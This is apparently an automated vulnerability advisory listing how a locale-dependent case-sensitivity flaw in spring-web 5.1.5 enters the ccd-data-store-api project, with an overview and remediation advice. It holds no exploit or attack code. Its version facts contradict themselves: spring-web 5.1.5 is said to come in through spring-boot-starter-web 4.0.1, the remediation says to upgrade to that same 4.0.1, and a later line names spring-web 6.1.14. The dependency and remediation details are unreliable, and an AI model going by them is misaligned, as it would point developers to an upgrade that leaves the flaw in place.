  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.

Note:

The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade org.springframework:spring-web to version 6.1.14 or higher.

References